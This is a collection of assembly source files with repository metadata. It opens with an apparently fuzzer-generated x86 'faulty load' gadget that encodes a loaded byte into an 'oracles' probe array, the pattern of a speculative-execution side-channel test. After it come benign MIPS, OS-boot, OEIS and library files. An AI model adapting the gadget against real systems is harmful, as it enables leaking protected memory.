mov $0x5152535455565758, %r12
movq %r12, %xmm3
movups %xmm3, (%rdx)
nop
inc %rbx
// Store
lea addresses_UC+0x7d96, %r14
nop
cmp %rsi, %rsi
movl $0x51525354, (%r14)
inc %rdi
// Store
lea addresses_A+0x1fbe6, %r15
nop
xor $5335, %r12
mov $0x5152535455565758, %rsi
movq %rsi, %xmm2
vmovups %ymm2, (%r15)
nop
nop
add %rdx, %rdx
// Load
lea addresses_PSE+0x9016, %rdi
nop
nop
add $12353, %r15
movb (%rdi), %r14b
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %rcx
nop
cmp $59855, %r15
// Store
lea addresses_normal+0xb816, %r15
clflush (%r15)
nop
sub $34297, %rsi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm3
vmovaps %ymm3, (%r15)
nop
nop
add %rcx, %rcx
// Store
lea addresses_PSE+0x12816, %rdx
nop
nop
and $36318, %r12
mov $0x5152535455565758, %rsi
movq %rsi, %xmm5
vmovups %ymm5, (%rdx)
nop
and $20388, %r12
// Store
mov $0x22e64600000003e2, %rbx
nop
nop
nop
nop
nop
cmp $31739, %r12
mov $0x5152535455565758, %r14
movq %r14, %xmm4
vmovntdq %ymm4, (%rbx)
nop
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_normal+0x1b816, %r12
nop
nop
nop
nop
nop
inc %r14
mov $0x5152535455565758, %rdx
movq %rdx, %xmm7
movups %xmm7, (%r12)
nop
nop
add %rdx, %rdx
// Store
lea addresses_A+0x6016, %r14
nop
nop
nop
add %r15, %r15
mov $0x5152535455565758, %rdx
movq %rdx, %xmm2
vmovups %ymm2, (%r14)
nop
nop
add $15466, %r14
// Faulty Load
lea addresses_normal+0x1b816, %rdx
nop
nop
nop
nop
nop
sub $22786, %r12
movb (%rdx), %r15b
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_PSE', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_RW', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 32, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 30.472868 | 2,999 | 0.652633 |
f59b302e34de7a02a8558eec04d885bce69cda7d | 614 | asm | Assembly | Strings and Arrays/Dynamic Array Sum.asm | MrR0B0T777/MIPS_Programming | 5bbb84c8cf15b9e254f19b47a9e0b365ed7ca7d4 | [
"MIT"
] | null | null | null | Strings and Arrays/Dynamic Array Sum.asm | MrR0B0T777/MIPS_Programming | 5bbb84c8cf15b9e254f19b47a9e0b365ed7ca7d4 | [
"MIT"
] | null | null | null | Strings and Arrays/Dynamic Array Sum.asm | MrR0B0T777/MIPS_Programming | 5bbb84c8cf15b9e254f19b47a9e0b365ed7ca7d4 | [
"MIT"
] | null | null | null | .data
p1: .asciiz "Enter N: "
p2: .asciiz "Enter a number: "
res: .asciiz "Sum is: "
.text
main:
la $a0, p1
li $v0, 4
syscall
li $v0, 5
syscall
move $t0, $v0
move $t2, $v0
addi $t7, $zero, 4
mul $a0, $v0, $t7
li $v0, 9
syscall
move $t1, $v0
move $t3, $v0
inpLoop:
beq $t0, $zero, endLoop
addi $t0, $t0, -1
la $a0, p2
li $v0, 4
syscall
li $v0, 5
syscall
sw $v0, ($t3)
addi $t3, $t3, 4
j inpLoop
move $t5, $zero
endLoop:
beq $t2, $zero, sum
addi $t2, $t2, -1
lw $t6, ($t1)
addi $t1, $t1, 4
add $t5, $t5, $t6
j endLoop
sum:
la $a0, res
li $v0, 4
syscall
move $a0, $t5
li $v0, 1
syscall
li $v0, 10
syscall | 10.40678 | 30 | 0.592834 |
f335a19e81ae965b1863eed4599c5af7980681b8 | 1,637 | asm | Assembly | sample/startup.asm | shift-crops/x86emu | fa65d448d71145fd611559a8a037dba211bb31a5 | [
"MIT"
] | 85 | 2017-03-24T13:02:38.000Z | 2022-02-17T23:22:55.000Z | sample/startup.asm | shift-crops/x86emu | fa65d448d71145fd611559a8a037dba211bb31a5 | [
"MIT"
] | null | null | null | sample/startup.asm | shift-crops/x86emu | fa65d448d71145fd611559a8a037dba211bb31a5 | [
"MIT"
] | 14 | 2017-05-06T18:34:31.000Z | 2021-05-12T10:24:43.000Z | extern init_idt, init_paging, init_vga
extern main
global start
BITS 32
start:
; gdt
lgdt [gdtr]
mov eax, 0x28
ltr ax
mov ax, 0x10
mov ds, ax
mov ss, ax
call 0x8:next
next:
; idt
cli
call init_idt
lidt [eax]
sti
; paging
call init_paging
mov cr3, eax
mov eax, cr0
or eax, 0x80000000
mov cr0, eax
call init_pic
;call init_timer
call init_key_mouse
call init_vga
mov ax, 0x23
mov ds, ax
mov ss, ax
call 0x18:main
infinit:
hlt
jmp infinit
init_pic:
cli
mov al, 0x11
out 0x20, al
out 0xa0, al
mov al, 0x20
out 0x21, al
mov al, 0x28
out 0xa1, al
mov al, 0x4
out 0x21, al
mov al, 2
out 0xa1, al
mov al, 0x3
out 0x21, al
out 0xa1, al
mov al, 0xfb
out 0x21, al
mov al, 0xff
out 0xa1, al
sti
ret
init_timer:
; timer
cli
mov al, 0x34
out 0x43, al
mov al, 0x9c
out 0x40, al
mov al, 0x2e
out 0x40, al
in al, 0x21
and al, 0xfe
out 0x21, al
sti
ret
init_key_mouse:
; keyboard
cli
mov al, 0x60
out 0x64, al
mov al, 0x47
out 0x60, al
in al, 0x21
and al, 0xfd
out 0x21, al
; mouse
mov al, 0xd4
out 0x64, al
mov al, 0xf4
out 0x60, al
in al, 0xa1
and al, 0xef
out 0xa1, al
sti
ret
align 8
gdtr:
dw gdt_end - gdt -1
dd gdt
align 8
gdt:
dq 0
dw 0x0100
dw 0x0000
db 0x00
db 0x88
db 0xc0
db 0x00
dw 0x0100
dw 0x0000
db 0x00
db 0x82
db 0xc0
db 0x00
dw 0x0100
dw 0x0000
db 0x00
db 0xf8
db 0xc0
db 0x00
dw 0x0100
dw 0x0000
db 0x00
db 0xf2
db 0xc0
db 0x00
dw 0x0080
dw tss - start
db 0x01
db 0x01
db 0x00
db 0x00
gdt_end:
tss:
dq 0
dq 0
dq 0
dq 0
dq 0
dq 0
dq 0
dq 0
dq 0
dq 0
dq 0
dd 0
dw 0x10
dw 0
dd 0x2000
| 9.573099 | 38 | 0.656078 |
8019e56247874b1bca3eaf4d7d0669aaefb5a4ea | 187 | asm | Assembly | processor/arch/c64/left.asm | HakierGrzonzo/bfc64 | edd4bea27c08f0a1f868601ae36a1ab1bc099896 | [
"MIT"
] | 1 | 2020-12-18T09:38:46.000Z | 2020-12-18T09:38:46.000Z | processor/arch/c64/left.asm | HakierGrzonzo/bfc64 | edd4bea27c08f0a1f868601ae36a1ab1bc099896 | [
"MIT"
] | null | null | null | processor/arch/c64/left.asm | HakierGrzonzo/bfc64 | edd4bea27c08f0a1f868601ae36a1ab1bc099896 | [
"MIT"
] | null | null | null | cpy #$00
bne label()
dec $00fb + 1 // decrament least significant byte of pointer, if you need more than 256 * 256 cells, please reconsider your life choices
label():
dey
| 31.166667 | 140 | 0.673797 |
c3fb727a8eda6c7c87b36cb476bdb8e6179a4fbb | 1,237 | asm | Assembly | programs/oeis/002/A002450.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/002/A002450.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/002/A002450.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A002450: a(n) = (4^n - 1)/3.
; 0,1,5,21,85,341,1365,5461,21845,87381,349525,1398101,5592405,22369621,89478485,357913941,1431655765,5726623061,22906492245,91625968981,366503875925,1466015503701,5864062014805,23456248059221,93824992236885,375299968947541,1501199875790165,6004799503160661,24019198012642645,96076792050570581,384307168202282325,1537228672809129301,6148914691236517205,24595658764946068821,98382635059784275285,393530540239137101141,1574122160956548404565,6296488643826193618261,25185954575304774473045,100743818301219097892181,402975273204876391568725,1611901092819505566274901,6447604371278022265099605,25790417485112089060398421,103161669940448356241593685,412646679761793424966374741,1650586719047173699865498965,6602346876188694799461995861,26409387504754779197847983445,105637550019019116791391933781,422550200076076467165567735125,1690200800304305868662270940501,6760803201217223474649083762005,27043212804868893898596335048021,108172851219475575594385340192085,432691404877902302377541360768341,1730765619511609209510165443073365,6923062478046436838040661772293461,27692249912185747352162647089173845,110768999648742989408650588356695381,443075998594971957634602353426781525
mov $1,4
pow $1,$0
div $1,3
mov $0,$1
| 154.625 | 1,166 | 0.919159 |
d4b11790afe6329cfde33643925c5a922499a76c | 6,539 | asm | Assembly | src/common/_pm_imp.asm | OS2World/DEV-UTIL-ScitechOS_PML | fd285be7203a6bac25aebd0a856fa17058c8a4c0 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | src/common/_pm_imp.asm | OS2World/DEV-UTIL-ScitechOS_PML | fd285be7203a6bac25aebd0a856fa17058c8a4c0 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | src/common/_pm_imp.asm | OS2World/DEV-UTIL-ScitechOS_PML | fd285be7203a6bac25aebd0a856fa17058c8a4c0 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | ;****************************************************************************
;*
;* SciTech OS Portability Manager Library
;*
;* Copyright (C) 1991-1998 SciTech Software, Inc.
;* All rights reserved.
;*
;* ======================================================================
;* |REMOVAL OR MODIFICATION OF THIS HEADER IS STRICTLY PROHIBITED BY LAW|
;* | |
;* |This copyrighted computer code contains proprietary technology |
;* |owned by SciTech Software, Inc., located at 505 Wall Street, |
;* |Chico, CA 95928 USA (http://www.scitechsoft.com). |
;* | |
;* |The contents of this file are subject to the SciTech Nucleus |
;* |License; you may *not* use this file or related software except in |
;* |compliance with the License. You may obtain a copy of the License |
;* |at http://www.scitechsoft.com/nucleus-license.txt |
;* | |
;* |Software distributed under the License is distributed on an |
;* |"AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or |
;* |implied. See the License for the specific language governing |
;* |rights and limitations under the License. |
;* | |
;* |REMOVAL OR MODIFICATION OF THIS HEADER IS STRICTLY PROHIBITED BY LAW|
;* ======================================================================
;*
;* Language: TASM 4.0 or NASM
;* Environment: IBM PC 32 bit Protected Mode.
;*
;* Description: Module to implement the import stubs for all the PM
;* API functions for Intel binary portable drivers.
;*
;****************************************************************************
IDEAL
include "scitech.mac" ; Memory model macros
BEGIN_IMPORTS_DEF _PM_imports
DECLARE_IMP PM_getModeType,0
DECLARE_IMP PM_getBIOSPointer,0
DECLARE_IMP PM_getA0000Pointer,0
DECLARE_IMP PM_mapPhysicalAddr,0
DECLARE_IMP PM_mallocShared,0
SKIP_IMP _PM_reserved1,0
DECLARE_IMP PM_freeShared,0
DECLARE_IMP PM_mapToProcess,0
DECLARE_IMP PM_mapRealPointer,0
DECLARE_IMP PM_allocRealSeg,0
DECLARE_IMP PM_freeRealSeg,0
DECLARE_IMP PM_allocLockedMem,0
DECLARE_IMP PM_freeLockedMem,0
DECLARE_IMP PM_callRealMode,0
DECLARE_IMP PM_int86,0
DECLARE_IMP PM_int86x,0
DECLARE_IMP DPMI_int86,0
DECLARE_IMP PM_availableMemory,0
DECLARE_IMP PM_getVESABuf,0
DECLARE_IMP PM_getOSType,0
DECLARE_IMP PM_fatalError,0
DECLARE_IMP PM_setBankA,0
DECLARE_IMP PM_setBankAB,0
DECLARE_IMP PM_setCRTStart,0
DECLARE_IMP PM_getCurrentPat,0
DECLARE_IMP PM_getVBEAFPath,0
DECLARE_IMP PM_getNucleusPath,0
DECLARE_IMP PM_getNucleusConfigPath,0
DECLARE_IMP PM_getUniqueID,0
DECLARE_IMP PM_getMachineName,0
DECLARE_IMP VF_available,0
DECLARE_IMP VF_init,0
DECLARE_IMP VF_exit,0
DECLARE_IMP PM_openConsole,0
DECLARE_IMP PM_getConsoleStateSize,0
DECLARE_IMP PM_saveConsoleState,0
DECLARE_IMP PM_restoreConsoleState,0
DECLARE_IMP PM_closeConsole,0
DECLARE_IMP PM_setOSCursorLocation,0
DECLARE_IMP PM_setOSScreenWidth,0
DECLARE_IMP PM_enableWriteCombine,0
DECLARE_IMP PM_backslash,0
DECLARE_IMP PM_lockDataPages,0
DECLARE_IMP PM_unlockDataPages,0
DECLARE_IMP PM_lockCodePages,0
DECLARE_IMP PM_unlockCodePages,0
DECLARE_IMP PM_setRealTimeClockHandler,0
DECLARE_IMP PM_setRealTimeClockFrequency,0
DECLARE_IMP PM_restoreRealTimeClockHandler,0
DECLARE_IMP PM_doBIOSPOST,0
DECLARE_IMP PM_getBootDrive,0
DECLARE_IMP PM_freePhysicalAddr,0
DECLARE_IMP PM_inpb,0
DECLARE_IMP PM_inpw,0
DECLARE_IMP PM_inpd,0
DECLARE_IMP PM_outpb,0
DECLARE_IMP PM_outpw,0
DECLARE_IMP PM_outpd,0
SKIP_IMP _PM_reserved2,0
DECLARE_IMP PM_setSuspendAppCallback,0
DECLARE_IMP PM_haveBIOSAccess,0
DECLARE_IMP PM_kbhit,0
DECLARE_IMP PM_getch,0
DECLARE_IMP PM_findBPD,0
DECLARE_IMP PM_getPhysicalAddr,0
DECLARE_IMP PM_sleep,0
DECLARE_IMP PM_getCOMPort,0
DECLARE_IMP PM_getLPTPort,0
DECLARE_IMP PM_loadLibrary,0
DECLARE_IMP PM_getProcAddress,0
DECLARE_IMP PM_freeLibrary,0
DECLARE_IMP PCI_enumerate,0
DECLARE_IMP PCI_accessReg,0
DECLARE_IMP PCI_setHardwareIRQ,0
DECLARE_IMP PCI_generateSpecialCyle,0
SKIP_IMP _PM_reserved3,0
DECLARE_IMP PCIBIOS_getEntry,0
DECLARE_IMP CPU_getProcessorType,0
DECLARE_IMP CPU_haveMMX,0
DECLARE_IMP CPU_have3DNow,0
DECLARE_IMP CPU_haveSSE,0
DECLARE_IMP CPU_haveRDTSC,0
DECLARE_IMP CPU_getProcessorSpeed,0
DECLARE_IMP ZTimerInit,0
DECLARE_IMP LZTimerOn,0
DECLARE_IMP LZTimerLap,0
DECLARE_IMP LZTimerOff,0
DECLARE_IMP LZTimerCount,0
DECLARE_IMP LZTimerOnExt,0
DECLARE_IMP LZTimerLapExt,0
DECLARE_IMP LZTimerOffExt,0
DECLARE_IMP LZTimerCountExt,0
DECLARE_IMP ULZTimerOn,0
DECLARE_IMP ULZTimerLap,0
DECLARE_IMP ULZTimerOff,0
DECLARE_IMP ULZTimerCount,0
DECLARE_IMP ULZReadTime,0
DECLARE_IMP ULZElapsedTime,0
DECLARE_IMP ULZTimerResolution,0
DECLARE_IMP PM_findFirstFile,0
DECLARE_IMP PM_findNextFile,0
DECLARE_IMP PM_findClose,0
DECLARE_IMP PM_makepath,0
DECLARE_IMP PM_splitpath,0
DECLARE_IMP PM_driveValid,0
DECLARE_IMP PM_getdcwd,0
DECLARE_IMP PM_setFileAttr,0
DECLARE_IMP PM_mkdir,0
DECLARE_IMP PM_rmdir,0
DECLARE_IMP PM_getFileAttr,0
DECLARE_IMP PM_getFileTime,0
DECLARE_IMP PM_setFileTime,0
DECLARE_IMP CPU_getProcessorName,0
DECLARE_IMP PM_getVGAStateSize,0
DECLARE_IMP PM_saveVGAState,0
DECLARE_IMP PM_restoreVGAState,0
DECLARE_IMP PM_vgaBlankDisplay,0
DECLARE_IMP PM_vgaUnblankDisplay,0
DECLARE_IMP PM_blockUntilTimeout,0
DECLARE_IMP _PM_add64,0
DECLARE_IMP _PM_sub64,0
DECLARE_IMP _PM_mul64,0
DECLARE_IMP _PM_div64,0
DECLARE_IMP _PM_shr64,0
DECLARE_IMP _PM_sar64,0
DECLARE_IMP _PM_shl64,0
DECLARE_IMP _PM_neg64,0
DECLARE_IMP PCI_findBARSize,0
DECLARE_IMP PCI_readRegBlock,0
DECLARE_IMP PCI_writeRegBlock,0
DECLARE_IMP PM_flushTLB,0
DECLARE_IMP PM_useLocalMalloc,0
DECLARE_IMP PM_malloc,0
DECLARE_IMP PM_calloc,0
DECLARE_IMP PM_realloc,0
DECLARE_IMP PM_free,0
DECLARE_IMP PM_getPhysicalAddrRange,0
DECLARE_IMP PM_allocPage,0
DECLARE_IMP PM_freePage,0
DECLARE_IMP PM_agpInit,0
DECLARE_IMP PM_agpExit,0
DECLARE_IMP PM_agpReservePhysical,0
DECLARE_IMP PM_agpReleasePhysical,0
DECLARE_IMP PM_agpCommitPhysical,0
DECLARE_IMP PM_agpFreePhysical,0
DECLARE_IMP PCI_getNumDevices,0
DECLARE_IMP PM_setLocalBPDPath,0
DECLARE_IMP PM_loadDirectDraw,0
DECLARE_IMP PM_unloadDirectDraw,0
DECLARE_IMP PM_getDirectDrawWindow,0
DECLARE_IMP PM_doSuspendApp,0
END_IMPORTS_DEF
END
| 33.362245 | 77 | 0.751491 |
61655c03187976f2f2d0785f696c10816cc72b74 | 663 | asm | Assembly | MySource/23-print-str-num.asm | mdabdullahibnaharun/Assembly-Language | a56500622b961c7ecf9690ad9d2136c3e05ea1f7 | [
"MIT"
] | null | null | null | MySource/23-print-str-num.asm | mdabdullahibnaharun/Assembly-Language | a56500622b961c7ecf9690ad9d2136c3e05ea1f7 | [
"MIT"
] | null | null | null | MySource/23-print-str-num.asm | mdabdullahibnaharun/Assembly-Language | a56500622b961c7ecf9690ad9d2136c3e05ea1f7 | [
"MIT"
] | null | null | null |
; You may customize this and other start-up templates;
; The location of this template is c:\emu8086\inc\0_com_template.txt
org 100h
.model small
.data
var1 db 7
var2 dw "Hello World$"
.code
main proc
mov ax,@data ;data access notation
mov ds,ax ;all data address
mov dl,var1
add dl,48
mov ah,2 ;for 1 char
int 21h
;---str
mov dx, offset var2
lea dx,var1
mov ah,9 ;for str
int 21h
mov ah,4ch
int 21h
main endp
end main
ret
| 14.413043 | 69 | 0.475113 |
cb187a0c23f06a2d140258b45c8c650d5c0f5b9b | 47 | asm | Assembly | Data/ShipBank3Label.asm | ped7g/EliteNext | 6e930f9b9924b295d7281ee6acb879600d7e597f | [
"Unlicense"
] | 9 | 2021-09-29T22:08:15.000Z | 2022-03-23T05:35:43.000Z | Data/ShipBank3Label.asm | ped7g/EliteNext | 6e930f9b9924b295d7281ee6acb879600d7e597f | [
"Unlicense"
] | 1 | 2022-01-21T12:35:42.000Z | 2022-01-21T17:47:24.000Z | Data/ShipBank3Label.asm | ped7g/EliteNext | 6e930f9b9924b295d7281ee6acb879600d7e597f | [
"Unlicense"
] | 1 | 2022-01-15T10:13:49.000Z | 2022-01-15T10:13:49.000Z | ShipBank3Label: DB "ShipBank3 "
| 23.5 | 45 | 0.531915 |
1218202ca430f76ae5a782d005a7034045407b12 | 304 | asm | Assembly | programs/oeis/137/A137936.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/137/A137936.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/137/A137936.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A137936: a(n) = 5*mod(n,5) + floor(n/5).
; 0,5,10,15,20,1,6,11,16,21,2,7,12,17,22,3,8,13,18,23,4,9,14,19,24,5,10,15,20,25,6,11,16,21,26,7,12,17,22,27,8,13,18,23,28,9,14,19,24,29,10,15,20,25,30,11,16,21,26,31,12,17,22,27,32,13,18,23,28,33,14,19,24,29,34
mov $1,$0
mod $1,5
mul $1,24
add $0,$1
div $0,5
| 33.777778 | 211 | 0.601974 |
c3366ab3e4b5858b3569abfcb9d7ec7f008f14ce | 476 | asm | Assembly | src/boot/readDisk.asm | 100009337131285/OS_Developement | 4477139b5ee70b5f9282b6d82184308b99e469a0 | [
"Apache-2.0"
] | 31 | 2018-12-15T05:05:28.000Z | 2022-02-21T22:21:23.000Z | src/boot/readDisk.asm | 100009337131285/OS_Developement | 4477139b5ee70b5f9282b6d82184308b99e469a0 | [
"Apache-2.0"
] | 1 | 2017-07-24T17:12:40.000Z | 2017-08-15T18:14:33.000Z | src/boot/readDisk.asm | 100009337131285/OS_Developement | 4477139b5ee70b5f9282b6d82184308b99e469a0 | [
"Apache-2.0"
] | 12 | 2018-12-15T05:56:41.000Z | 2022-02-10T22:29:59.000Z | readDisk:
pusha
; we assume al and cl are set outside this function
mov ah, 0x02 ; read sectors from drive function
; mov dl, 0x00 ; select drive medium (floppy or hdd/sdd)
mov ch, 0 ; select start cylinder
mov dh, 0 ; select start head
;mov bx, 0x7e00 ; set offset address (sector 2 address)
int 0x13 ; call interrupt
jc disk_err ; if carry flag is set, jmp to disk_err
popa
ret
disk_err:
mov si, DISK_ERR_MSG
call printf
jmp $
| 20.695652 | 58 | 0.67437 |
8003b2badff7b8c4b6f5f61c88390e7d70f55507 | 268 | asm | Assembly | libsrc/_DEVELOPMENT/compress/zx7/c/sccz80/dzx7_standard_back.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/compress/zx7/c/sccz80/dzx7_standard_back.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/compress/zx7/c/sccz80/dzx7_standard_back.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; void dzx7_standard_back(void *src, void *dst)
SECTION code_clib
SECTION code_compress_zx7
PUBLIC dzx7_standard_back
EXTERN asm_dzx7_standard_back
dzx7_standard_back:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_dzx7_standard_back
| 12.181818 | 47 | 0.757463 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.